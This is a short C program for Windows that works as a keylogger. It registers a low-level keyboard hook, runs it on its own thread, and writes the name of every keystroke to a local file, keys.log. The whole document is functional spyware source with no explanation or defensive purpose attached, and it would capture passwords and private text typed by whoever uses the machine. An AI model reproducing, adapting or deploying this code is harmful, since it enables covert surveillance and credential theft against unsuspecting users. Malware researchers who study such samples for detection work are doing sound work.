#define _WIN32_WINNT 0x0502
#include <windows.h>
#include <winuser.h>
#include <stdio.h>

HHOOK hKeyHook;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode,WPARAM wParam,LPARAM lParam){
    if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))       
    {
        KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
		
        DWORD dwMsg = 1;
        
        // Read keys
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;
		
        char lpszName[100] = {0};
		
		// Convert key to name
        int i = GetKeyNameText(dwMsg,lpszName,100) + 1;

        FILE *file;
        
        // Log and flush information
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}

void MsgLoop()
{
    MSG message;
    
    // Redirect messages 
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    HINSTANCE hExe = GetModuleHandle(NULL);
    
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
    if (!hExe) return 1;
	
	// Register our function
    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe,NULL);
	
    MsgLoop();
    
    // Deregister
    UnhookWindowsHookEx(hKeyHook);
    return 0;
}

int main(int argc, char** argv)
{
    HANDLE hThread;
    DWORD dwThread;
	
	// Start thread which caputes keystrokes
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)KeyLogger,(LPVOID)argv[0],NULL,&dwThread);
	
    if (hThread) {
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 1;
    }
}
